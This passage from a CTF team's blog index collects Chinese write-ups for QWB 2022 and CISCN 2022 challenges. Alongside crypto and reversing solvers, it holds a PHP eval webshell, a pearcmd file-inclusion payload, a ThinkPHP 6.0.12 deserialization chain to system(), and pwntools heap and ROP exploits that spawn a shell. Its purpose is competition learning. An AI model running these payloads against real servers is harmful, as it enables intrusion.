str(s)[14:30] tt = str(s)[35:-3] print(kk) print(tt) alphabet = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\u0026#34; for i in alphabet: for j in alphabet: for k in alphabet: for l in alphabet: if sha256((i+j+k+l+kk).encode()).hexdigest() == tt: p.sendline((i+j+k+l).encode()) for i in range(40): s = p.recv() poly = str(s).split(\u0026#34;\\\\n\u0026#34;) rr = [] aa = [] cc = [] print(poly) print(len(poly)) ps = poly[0] + \u0026#39; \u0026#39; for i in range(len(ps)-1): if ps[i] == \u0026#39;x\u0026#39; and ps[i+1] == \u0026#39; \u0026#39;: rr.append(1) break ps = poly[1] + \u0026#39; \u0026#39; for i in range(len(ps)-1): if ps[i] == \u0026#39;x\u0026#39; and ps[i+1] == \u0026#39; \u0026#39;: aa.append(1) break ps = poly[2] + \u0026#39; \u0026#39; for i in range(len(ps)-1): if ps[i] == \u0026#39;x\u0026#39; and ps[i+1] == \u0026#39; \u0026#39;: cc.append(1) break r = findall(r\u0026#34;\\d+\u0026#34;,poly[0]) a = findall(r\u0026#34;\\d+\u0026#34;,poly[1]) c = findall(r\u0026#34;\\d+\u0026#34;,poly[2]) r = [int(i) for i in r] a = [int(i) for i in a] c = [int(i) for i in c] if 1 in r: rr.append(0) if 1 in a: aa.append(0) if 1 in c: cc.append(0) for i in r: if i != 1: rr.append(i) for i in a: if i != 1: aa.append(i) for i in c: if i != 1: cc.append(i) print(rr,aa,cc) rp = 0 ap = 0 cp = 0 for i in rr: rp += 2 ** i for i in aa: ap += 2 ** i for i in cc: cp += 2 ** i print(rp,ap,cp) bp = GF2_div(GF2_sub(rp,cp),ap) print(bp) sends = \u0026#34;\u0026#34; strb = bin(bp)[2:] for i in range(len(strb)): if strb[i] == \u0026#39;1\u0026#39;: if i == len(strb)-1: sends += \u0026#34;1\u0026#34; elif i == len(strb)-2: sends += \u0026#34;x\u0026#34; else: sends += \u0026#34;x^{}\u0026#34;.format(len(strb)-i-1) sends += \u0026#34; + \u0026#34; sends = sends[:-3] print(sends) p.sendline(sends.encode()) print(p.recv()) p.sendline(sends.encode()) print(p.recv()) ASR yafu 一直缺少组件，factordb 赏饭吃，给出一个分解，调整 yafu 参数后，分出剩余三个质数。\n设 p**2=N\n用 AMM 得出模 p 的解，发现 m 过长，再代入 m=mp+k*p 解出模N的解，得到答案。\nimport random import time def AMM(o, r, q): start = time.time() print(\u0026#39;\\n----------------------------------------------------------------------------------\u0026#39;) print(\u0026#39;Start to run Adleman-Manders-Miller Root Extraction Method\u0026#39;) print(\u0026#39;Try to find one {:#x}th root of {} modulo {}\u0026#39;.format(r, o, q)) g = GF(q) o = g(o) p = g(random.randint(1, q)) while p ^ ((q-1) // r) == 1: p = g(random.randint(1, q)) print(\u0026#39;[+] Find p:{}\u0026#39;.format(p)) t = 0 s = q - 1 while s % r == 0: t += 1 s = s // r print(\u0026#39;[+] Find s:{}, t:{}\u0026#39;.format(s, t)) k = 1 while (k * s + 1) % r != 0: k += 1 alp = (k * s + 1) // r print(\u0026#39;[+] Find alp:{}\u0026#39;.format(alp)) a = p ^ (r**(t-1) * s) b = o ^ (r*alp - 1) c = p ^ s h = 1 for i in range(1, t): d = b ^ (r^(t-1-i)) if d == 1: j = 0 else: print(\u0026#39;[+] Calculating DLP...\u0026#39;) j = - discrete_log(a, d) print(\u0026#39;[+] Finish DLP...\u0026#39;) b = b * (c^r)^j h = h * c^j c = c ^ r result = o^alp * h end = time.time() print(\u0026#34;Finished in {} seconds.\u0026#34;.format(end - start)) print(\u0026#39;Find one solution: {}\u0026#39;.format(result)) return result def findAllPRoot(p, e): print(\u0026#34;Start to find all the Primitive {:#x}th root of 1 modulo {}.\u0026#34;.format(e, p)) start = time.time() proot = set() while len(proot) \u0026lt; e: proot.add(pow(random.randint(2, p-1), (p-1)//e, p)) end = time.time() print(\u0026#34;Finished in {} seconds.\u0026#34;.format(end - start)) return proot def findAllSolutions(mp, proot, cp, p): print(\u0026#34;Start to find all the {:#x}th root of {} modulo {}.\u0026#34;.format(e, cp, p)) start = time.time() all_mp = set() for root in proot: mp2 = mp * root % p assert(pow(mp2, e, p) == cp) all_mp.add(mp2) end = time.time() print(\u0026#34;Finished in {} seconds.\u0026#34;.format(end - start)) return all_mp e=3 p0 = 260594583349478633632570848336184053653 p1 = 223213222467584072959434495118689164399 p2 = 225933944608558304529179430753170813347 p3 = 218566259296037866647273372633238739089 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149 c0=c%p0 c1=c%p1 c2=c%p2 c3=c%p3 pl = [] ql = [] m2 = int(AMM(c2, e, p2)) m3 = int(AMM(c3, e, p3)) proot2=findAllPRoot(p2,e) proot3=findAllPRoot(p3,e) pl = findAllSolutions(m2, proot2, c2, p2) ql = findAllSolutions(m3, proot3, c3, p3) print(pl) print(ql) pl=list(pl) ql=list(ql) d0=173729722232985755755047232224122702435 d1=148808814978389381972956330079126109599 m0=int(pow(c0,d0,p0)) m1=int(pow(c1,d1,p1)) for i in range(e): for j in range(e): m = crt([int(pl[i]), int(ql[j]),m0,m1], [p2, p3,p0,p1]) print(m) from libnum import n2s import gmpy2 p0 = 260594583349478633632570848336184053653 p1 = 223213222467584072959434495118689164399 p2 = 225933944608558304529179430753170813347 p3 = 218566259296037866647273372633238739089 n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001 e = 3 c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149 print((p0 * p1 * p2 * p3) ** 2 == n) phi = p0 * (p0 - 1) * (p1 - 1) * p1 * (p2 - 1) * p2 * p3 * (p3 - 1) pr = (p0 * p1 * p2 * p3) print((p3 - 1) % 27) fl = [ 1529007847379796407634756887525822026696243818376722108701969132742428428165312563623502055174162111318912346740690335148179223775392999980945766987459837, 1475292321022733362914538619161388693005464952363739416469049560011153697847764341022230542196966303658527328460810763143999529259177792246387209275640333, 1306173663174680354544083835098873046665147955161485267105809626183470299213147062484361435517127425037465762176491160436617371316470553010760895171531168, 153759683776433243399305434624208622981670871584305881184763149503345166185487917443890373624829793380160217617791063750644305153019838041206592966473567, 100044157419370198679087166259775289290892005571323188951843576772070435867939694842618860647633985719775199337911491746464610636804630306648035254654063, 2803358489265171472227210840490862843537881207776943757296126230937523911331160681955579712312498104881693839057868862438866912819678753688485739816184899, 222834185454100348265422735477774595442565074276484202923325623851990342933869396693076942784741899922511481742674099962888282201740191862829636553138531, 169118659097037303545204467113341261751786208263501510690406051120715612616321174091805429807546092262126463462794527958708587685524984128271078841319027, 1248984295174749683050825615411469211061247361327166117293032213981703895553936323127707213641064897178474925251326429742817744892644764737209862] for i in fl: le = (c - i ** 3) % n le = le * gmpy2.invert(3 * (i ** 2), n) x = le // pr i = i + x * pr print(pow(i, e, n) == c) print(n2s(int(i))) rcefile 存在 spl_autoload 函数，上传文件 test.inc：\n\u0026lt;?php eval($_GET[\u0026#39;cmd\u0026#39;]); 记下返回的文件名 d6e2555175cf7f64910cbfce15842643.inc 后自动包含\nGET /showfile.php?cmd=system(\u0026#39;cat+/flag\u0026#39;)%3b HTTP/1.1 Host: eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://eci-2ze9ta9edjrrkrtfpism.cloudeci1.ichunqiu.com/ Cookie: O%3a32%3a\u0026#34;D6e2555175cf7f64910cbfce15842643\u0026#34;%3a0%3a{} Upgrade-Insecure-Requests: 1 ","date":"2022-08-02T19:00:00+08:00","permalink":"https://or4ngesec.github.io/post/qwb2022-writeup-by-or4nge/","title":"qwb2022 Writeup by or4nge"},{"content":"Web include p牛的PHP裸文件本地包含\n/index.php?+config-create+/\u0026amp;file=../../../../usr/local/lib/php/pearcmd\u0026amp;/\u0026lt;? eval($_POST[1]);?\u0026gt;+/tmp/hello.php Pwn very_old_school 神奇的gadget，老题，改read的got为write泄露地址，最后onegadget即可。\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./very_old_school\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.27.so\u0026#34;) else: p = remote(\u0026#34;39.104.61.18\u0026#34;, 5656) libc = ELF(\u0026#39;./libc-2.27.so\u0026#39;) elf = ELF(\u0026#39;./very_old_school\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) pop_all = 0x4005da payload = b\u0026#34;a\u0026#34; * 0x40 payload += p64(0xaaaaaaaa) payload += p64(pop_all) diff = libc.sym[\u0026#39;write\u0026#39;] - libc.sym[\u0026#39;read\u0026#39;] # gdb.attach(p) # sleep(1) print(diff \u0026amp; 0xffffffffffffffff) payload += p64(diff \u0026amp; 0xffffffffffffffff) payload += p64(0x601020 + 0x3d) payload += b\u0026#34;\\x00\u0026#34; * 8 * 4 payload += p64(0x0000000000400518) payload += p64(0x00000000004005e3) payload += p64(1) payload += p64(0x00000000004005e1) payload += p64(elf.got[\u0026#39;read\u0026#39;]) payload += p64(0) payload += p64(elf.plt[\u0026#39;read\u0026#39;]) payload += p64(pop_all) payload += p64((-diff) \u0026amp; 0xffffffffffffffff) payload += p64(0x0601020 + 0x3d) payload += b\u0026#34;\\x00\u0026#34; * 8 * 4 payload += p64(0x0000000000400518) payload += p64(0x400450) print(hex(len(payload))) sn(payload) write = u64(p.recv(6) + b\u0026#39;\\x00\u0026#39; + b\u0026#39;\\x00\u0026#39;) libc_addr = write - libc.sym[\u0026#39;write\u0026#39;] log.info(hex(libc_addr)) payload = b\u0026#34;A\u0026#34; * 0x40 payload += p64(0xaaaaaaaa) payload += p64(libc_addr + 0x10a41c) sn(payload) p.interactive() Rev jsuck js混淆\n先对flag进行base64编码\n然后asdlg()函数将字符串转为数组\niKdga()函数对每一位异或3\nwrwg()函数将数组转回字符串\n最后与已知字符串进行比较\n求解脚本：\nimport base64 a = b\u0026#34;Yn{kY0wjNGJ1NyJ3ZyZ6NGQjNnF6Z1J3Zid7YGYhMiEiLGEhN[3\u0026gt;\u0026#34; flag = \u0026#39;\u0026#39; for i in a: flag += chr(i ^ 3) print (base64.b64decode(flag)) # b\u0026#39;flag{b026324c6904b2a9cb4b88d6d61c81d1}\u0026#39; rtMaze qemu，使用gdb调试，确认基地址为0x60010000，设置后ida可反编译\n根据字符串找到核心逻辑在0x600117b0，传入的参数为此前迷宫中的输入内容\n由于对其填充到了48个字符，猜测该迷宫需要反向跑：\ndddwwawwwwaasdsasawawdwaaasawassssdwdsddssasddw 加密部分如下\nXTEA算法\n将迷宫输入分为12个int，每次循环选取4个int作为key，进行XTEA加密\n解密脚本：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i \u0026lt; num_rounds; i++) { v1 -= (((v0 \u0026lt;\u0026lt; 4) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum\u0026gt;\u0026gt;11) \u0026amp; 3]); sum -= delta; v0 -= (((v1 \u0026lt;\u0026lt; 4) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[sum \u0026amp; 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t v[10]={ 0x9C51DE69, 0xD8C793BF, 0x6346ACA4, 0xF8D452EA, 0xA54B10D5, 0x2F8D8FC6, 0xC702BB4D, 0x4725858D, 0x2B0AA099, 0x1601D0A6, }; uint32_t const k[12]={ 0x77646464, 0x77776177, 0x61617777, 0x61736473, 0x61776173, 0x61776477, 0x61736161, 0x73736177, 0x77647373, 0x64647364, 0x73617373, 0x61776464 }; unsigned int r=32; printf(\u0026#34;加密后的数据：%u %u\\n\u0026#34;,v[0],v[1]); decipher(r, v, k); decipher(r, v + 2, k + 4); decipher(r, v + 4, k + 8); decipher(r, v + 6, k); decipher(r, v + 8, k + 4); for (int i = 0; i \u0026lt; 40; i++) printf(\u0026#34;%c\u0026#34;, *(((char*)v) + i)); printf(\u0026#34;\\n\u0026#34;); return 0; } // d8550a7b7-d0a0d-4f37-b4abc0-0cf93eb3dfd4 Crypto Diophantine 判断是对的，把9除下去解佩尔方程，写for循环提交即可\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = remote(\u0026#34;39.104.61.18\u0026#34;, 26726) import hashlib s = \u0026#39;\u0026#39; dic = \u0026#39;0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\u0026#39; p.recvuntil(\u0026#34;(str + \u0026#34;) md = p.recvuntil(\u0026#34;)\u0026#34;)[:-1].decode() print(md) p.recvuntil(\u0026#34; == \u0026#34;) ans = p.recvuntil(\u0026#34;\\n\u0026#34;)[:-1].decode() print(ans) def mdd(): for a in dic: for b in dic: for c in dic: for d in dic: t = str(a)+str(b)+str(c)+str(d)+md md5 = hashlib.md5(t.encode()).hexdigest() # print(md5[:6]) if md5[0:5] == ans: d =str(a)+str(b)+str(c)+str(d) p.sendline(d.encode()) return mdd() p.sendline(b\u0026#34;y\u0026#34;) p.sendline(b\u0026#34;y\u0026#34;) f = open(\u0026#34;./ans.txt\u0026#34;, \u0026#34;r\u0026#34;) for l in f.read().split(\u0026#39;\\n\u0026#39;): x,y=l.split(\u0026#39; \u0026#39;) p.sendlineafter(\u0026#34;x=\u0026#34;,x) p.sendlineafter(\u0026#34;y=\u0026#34;,y) p.recvuntil(\u0026#34;wer\u0026#34;) p.interactive() EasyRsa 根据题目信息得到h，由 $\\frac h {2g}=rs+\\frac{r}{2g}+\\frac{s}{2g}$，后两者较小，可以通过爆破得出 r+s 和 r-s，从而得出 s 和 r，进而可以得出 $\\phi(n)$，解密得到 flag\nfrom gmpy2 import iroot from Crypto.Util.number import long_to_bytes, inverse def get_rs(cur_rs, h, g): rs = h - 2 * g * cur_rs if rs \u0026lt; 0: return False if rs ** 2 - 4 * cur_rs \u0026lt; 0: return False delta = iroot(rs ** 2 - 4 * cur_rs, 2) if not delta[1]: return False r = (rs - delta[0]) // 2 s = (rs + delta[0]) // 2 return r, s n=22674165844905158260176168026816552467096072570578600242128271855414019546269941158980926383539152088163386486594970550426095813309390851670596901239161501799287825141484239319817091651407345474982377372054888770936964124342265857312847156030175512996932047024846256128852364411361104881876499527373499676800838224118813206681739936743754500898092792230659202349749012386805859665056024946969736506105283735257152266921793786908302315016683954542458869766736987653476629282074870135677126618336504349609949843015699079901471850834309549434049741620451308935825225861067965105407242194092434593658617061001051261986003 e=65537 c=782836877747818842493334376192707959633875414421119864133181592744303451005021100252453573692816054585303366274224087420041284882899698447861322919543336259986718739329810516986508263800638169206422642491731816114864183191451497206767082965587155423396589137912838842875035557343464065904849661324493244122164082422461425238044593940586748674516957395798642524010290664115814930907318276984939283752745962807878377719292647500596944596051296807946807250542510019416661571456929182119445830050306376509177311647871578247060341177622456756501597305853248802782554576320613573685540342421823987333619169191892620415521 g=1834423494494916216123441416584222421978972309717825906841264503350314600090174106582891343187567071177004232569276768024920547950940295765307910633287 h = (n - 1) // (2 * g) cur_rs = h // (2 * g) while 1: cur = get_rs(cur_rs, h, g) if cur: r, s = cur rs = cur_rs break cur_rs -= 1 phi = 4 * g ** 2 * rs d = inverse(e, phi) print(long_to_bytes(pow(c, d, n))) Misc the Kenoru\u0026rsquo;s Arithmetic Classroom Revenge help() 被 ban 了，发现存在类似的命令：breakpoint()\n比赛中没截图，放一个本地的测试\n","date":"2022-06-28T17:17:17+08:00","image":"https://or4ngesec.github.io/post/ciscn-2022-north-writeup-by-or4nge/cover_hu64e9dce0f7c55970c8dfa2838c4ad483_501581_120x120_fill_box_smart1_3.png","permalink":"https://or4ngesec.github.io/post/ciscn-2022-north-writeup-by-or4nge/","title":"CISCN2022 华北分赛区 Writeup by or4nge"},{"content":"Web ezpop tp6.0.12 的反序列化洞，直接用现成的链的打就行\n\u0026lt;?php namespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = \u0026#39;\u0026#39;){ $this-\u0026gt;lazySave = True; $this-\u0026gt;data = [\u0026#39;key\u0026#39; =\u0026gt; [\u0026#34;cat /flag.txt\u0026#34;]]; $this-\u0026gt;exists = True; $this-\u0026gt;table = $obj; $this-\u0026gt;withAttr = [\u0026#39;key\u0026#39; =\u0026gt; [\u0026#39;system\u0026#39;]]; $this-\u0026gt;json = [\u0026#39;key\u0026#39;,[\u0026#39;key\u0026#39;]]; $this-\u0026gt;jsonAssoc = True; } } } namespace think\\model{ use think\\Model; class Pivot extends Model{ } } namespace{ echo(urlencode(serialize(new think\\model\\Pivot(new think\\model\\Pivot())))); } Pwn login-nomal 可见字符 shellcode，调用 ae64 脚本，rdx 直接打通\nfrom pwn import * from ae64 import AE64 import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./login\u0026#34;) libc = ELF(\u0026#34;./libc-2.33.so\u0026#34;) else: p = remote(\u0026#34;101.201.123.35\u0026#34;, 17186) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./login\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) # debugf(0x0401008) def Login(msg): p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;, \u0026#34;opt:1\\r\\nmsg:%s\\r\\n\u0026#34; %msg) def weak(msg): p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;, \u0026#34;opt:2\\r\\nmsg:%s\\r\\n\u0026#34; %msg) def Logout(msg): p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;, \u0026#34;opt:3\\r\\nmsg:%s\\r\\n\u0026#34; %msg) shellcode = asm(shellcraft.sh()) enc_shellcode = AE64().encode(shellcode, \u0026#39;rdx\u0026#39;, 0, \u0026#39;fast\u0026#39;) # gdb.attach(p, \u0026#34;b *$rebase(0xe54)\u0026#34;) sleep(1) Login(\u0026#34;ro0t\u0026#34;) print(enc_shellcode.decode(\u0026#39;latin-1\u0026#39;)) weak(enc_shellcode.decode(\u0026#39;latin-1\u0026#39;)) p.interactive() newest_note 2.34 版本，整数溢出 +uaf，先 leak tcache 的 key，然后伪造堆块拿 libc 和 environ 最后再伪造一个栈上的 chunk 到返回地址拿到 shell\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./newest_note\u0026#34;) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) else: p = remote(\u0026#34;47.93.180.93\u0026#34;, 27873) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./newest_note\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) def menu(i): sla(b\u0026#39;:\u0026#39;,str(i)) def add(index,content): menu(1) sla(\u0026#39;Index: \u0026#39;,str(index)) sla(\u0026#39;Content: \u0026#39;,content) def flip(index): menu(2) sla(\u0026#39;Index: \u0026#39;,str(index)) def show(index): menu(3) sla(\u0026#39;Index: \u0026#39;,str(index)) ru(\u0026#39;will be? :\u0026#39;) sl(str(0x300200020//8)) add(0,b\u0026#34;aaa\u0026#34;) add(1,b\u0026#34;bbb\u0026#34;) for i in range(0,24): add(4,(p64(0)+p64(0x21))*3) flip(0) show(0) ru(\u0026#39;Content: \u0026#39;) key = u64(p.recv(5).ljust(8,b\u0026#39;\\x00\u0026#39;)) flip(1) show(1) ru(\u0026#39;Content: \u0026#39;) heapinfo = u64(ru(\u0026#39;\\n\u0026#39;)[:-1].ljust(8,b\u0026#39;\\x00\u0026#39;)) heapaddr = heapinfo ^ key heap_base = heapaddr - 0x2a0 print(\u0026#34;key: \u0026#34; + hex(key)) print(\u0026#34;heapaddr: \u0026#34; + hex(heapaddr)) print(\u0026#34;heap_base: \u0026#34; + hex(heap_base)) add(0,p64(0)) add(1,p64(key)+p64(0x41)+p64(key)+p64(0x41)+p64(key)+p64(0x41)) add(2,3*(p64(0)+p64(0x21))) chunk1_size = heap_base+0x2b0 print(\u0026#34;chunk1 size: \u0026#34; + hex(chunk1_size)) print(\u0026#34;enc chunk1 size: \u0026#34; + hex((chunk1_size)^key)) add(0x41cc70//8, p64(0)+p64(0x41)+p64(chunk1_size^key) +p64(0) ) add(3,p64(0)*4+p64(0)+p64(0x420)) add(4,p64(0)*3+p64(0x421)) flip(0) show(0) libc_info = u64(ru(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) libc.address = libc_info - 0x218cc0 print(\u0026#34;libc_info: \u0026#34; + hex(libc_info)) print(\u0026#34;libc_base: \u0026#34; + hex(libc.address)) env = libc.symbols[\u0026#39;environ\u0026#39;] - 0x10 add(0,b\u0026#34;a\u0026#34;*8) flip(2) flip(0) flip(4) add(4,p64(0)*3+p64(0x41)+p64(env^key)) add(0,b\u0026#39;aaa\u0026#39;) add(2,b\u0026#39;a\u0026#39;*15) show(2) stack2= u64(p.recvuntil(\u0026#39;\\x7f\u0026#39;)[-6:].ljust(8,b\u0026#39;\\x00\u0026#39;)) print(\u0026#34;stack_info2: \u0026#34; + hex(stack2)) ret2 = stack2 - 0x158 flip(1) flip(0) flip(4) success(\u0026#34;ret_enc: \u0026#34; + hex(ret2^key)) success(\u0026#34;ret_addr: \u0026#34; + hex(ret2)) add(4,p64(0)*3+p64(0x41)+p64(ret2^key)) add(1,b\u0026#39;aaa\u0026#39;) pop_rdi_ret = 0x000000000002e6c5 ret = 0x000000000004a7cc payload =b\u0026#34;a\u0026#34;*8 + p64(pop_rdi_ret + libc.address) + p64(libc.search(b\u0026#34;/bin/sh\\x00\u0026#34;).__next__()) + p64(ret + libc.address) + p64(libc.sym[\u0026#39;system\u0026#39;]) add(4,payload) p.interactive() Re baby_tree 手撸 ast，还原到 swift 源码\nfunc check(encoded:String, keyValue:String) -\u0026gt; (Bool){ var b = [UInt8](encoded.utf8) var k = [UInt8](keyValue.utf8) var r0, r1, r2, r3: UInt8 for i in 0...b.count-4{ (r0, r1, r2, r3) = (b[i], b[i+1], b[i+2], b[i+3]) b[i+0] = r2 ^ ((k[0] + (r0 \u0026gt;\u0026gt; 4)) \u0026amp; 0xff) b[i+1] = r3 ^ ((k[1] + (r1 \u0026gt;\u0026gt; 2)) \u0026amp; 0xff) b[i+2] = r0 ^ k[2] b[i+3] = r1 ^ k[3] (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0]) } return b == [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16] } 用 z3 求解\nfrom z3 import * enc = [ 88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16 ] k = [0x33, 0x34, 0x35, 0x79] s = Solver() flag = [BitVec(\u0026#39;flag%d\u0026#39; % i, 16) for i in range(len(enc))] for i in range(len(flag) - 3): r0, r1, r2, r3 = flag[i], flag[i + 1], flag[i + 2], flag[i + 3] flag[i + 0] = r2 ^ ((k[0] + (r0 \u0026gt;\u0026gt; 4)) \u0026amp; 0xff) flag[i + 1] = r3 ^ ((k[1] + (r1 \u0026gt;\u0026gt; 2)) \u0026amp; 0xff) flag[i + 2] = r0 ^ k[2] flag[i + 3] = r1 ^ k[3] (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0]) for i in range(len(enc)): s.add(enc[i] == flag[i]) if s.check() == sat: print (s.model()) else: print (\u0026#34;no res\u0026#34;) babycode mruby 字节码，参考文档：https://github.com/mruby/mruby/blob/c6c789d2e84085831351740684b72f9a5086cd2d/include/mruby/ops.h\n手撸还原源码\nclass Crypt class CIPHER XX = 305419896 YY = 16 def self.encrypt(t, p) cip = CIPHER.new() return cip.encrypt(t, p) end def encrypt(t, p) key = to_key(p) c = [] n = 0 while n \u0026lt; t.length do num1 = t[n].ord.to_i \u0026lt;\u0026lt; 24 num1 += t[n + 1].ord.to_i \u0026lt;\u0026lt; 16 num1 += t[n + 2].ord.to_i \u0026lt;\u0026lt; 8 num1 += t[n + 3].ord.to_i num2 = t[n + 4].ord.to_i \u0026lt;\u0026lt; 24 num2 += t[n + 5].ord.to_i \u0026lt;\u0026lt; 16 num2 += t[n + 6].ord.to_i \u0026lt;\u0026lt; 8 num2 += t[n + 7].ord.to_i enum1, enum2 = enc_one(num1, num2, key) c \u0026lt;\u0026lt; enum1 c \u0026lt;\u0026lt; enum2 n += 8 end return \u0026#34;\u0026#34;.join(c.collect{| x |sprintf(\u0026#39;%.8x\u0026#39;, x)}) end private def to_key(p) return p.unpack(\u0026#34;L*\u0026#34;) end def enc_one(num1, num2, key) y, z, s = num1, num2, 0 YY.times{ | i | y += (((z \u0026lt;\u0026lt; 3) ^ (z \u0026gt;\u0026gt; 5)) + z) ^ (s + key[((s \u0026gt;\u0026gt; 11) + 1) \u0026amp; 3]) y \u0026amp;= 4294967295 s += XX z += (((y \u0026lt;\u0026lt; 3) ^ (y \u0026gt;\u0026gt; 5)) + y) ^ (s + key[(s + 1) \u0026amp; 3]) z \u0026amp;= 4294967295 } end end end def check(p) i = 0 lst_ch = 0 while i \u0026lt; p.length do c = p[i].ord p[i] = (c ^ lst_ch ^ (i + 1)).chr lst_ch = c i += 1 end k = \u0026#34;aaaassssddddffff\u0026#34; cipher_text = Crypt::CIPHER.encrypt(p, k) if cipher_text == \u0026#34;f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb\u0026#34; return true end return false end p = gets.chomp if check(p) puts \u0026#34;yes\u0026#34; end 修改后的 xtea，解密脚本：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=305419896, sum=delta*num_rounds; for (i=0; i \u0026lt; num_rounds; i++) { v1 -= (((v0 \u0026lt;\u0026lt; 3) ^ (v0 \u0026gt;\u0026gt; 5)) + v0) ^ (sum + key[(sum + 1) \u0026amp; 3]); sum -= delta; v0 -= (((v1 \u0026lt;\u0026lt; 3) ^ (v1 \u0026gt;\u0026gt; 5)) + v1) ^ (sum + key[((sum\u0026gt;\u0026gt;11) + 1) \u0026amp; 3]); } v[0]=v0; v[1]=v1; } int main() { uint32_t v[] = {0xf469358bu, 0x7f165145u, 0x116e127au, 0xd6105917u, 0xbce5225du, 0x6d62a714u, 0xc390c5edu, 0x93b22d8bu, 0x6b102a88u, 0x13488fdbu}; uint32_t const k[4] = {0x61616161u, 0x73737373u, 0x64646464u, 0x66666666u}; unsigned int r=16; decipher(r, v, k); decipher(r, v + 2, k); decipher(r, v + 4, k); decipher(r, v + 6, k); decipher(r, v + 8, k); printf(\u0026#34;%08x %08x %08x %08x %08x %08x %08x %08x %08x %08x\\n\u0026#34;,v[0],v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]); return 0; } 最后一个异或使用 python 求解\na = [0x67, 0x08, 0x0e, 0x02, 0x19, 0x4b, 0x50, 0x0d, 0x5c, 0x58, 0x5f, 0x0b, 0x5e, 0x40, 0x46, 0x15, 0x11, 0x47, 0x0a, 0x08, 0x15, 0x42, 0x11, 0x56, 0x0d, 0x47, 0x49, 0x1e, 0x04, 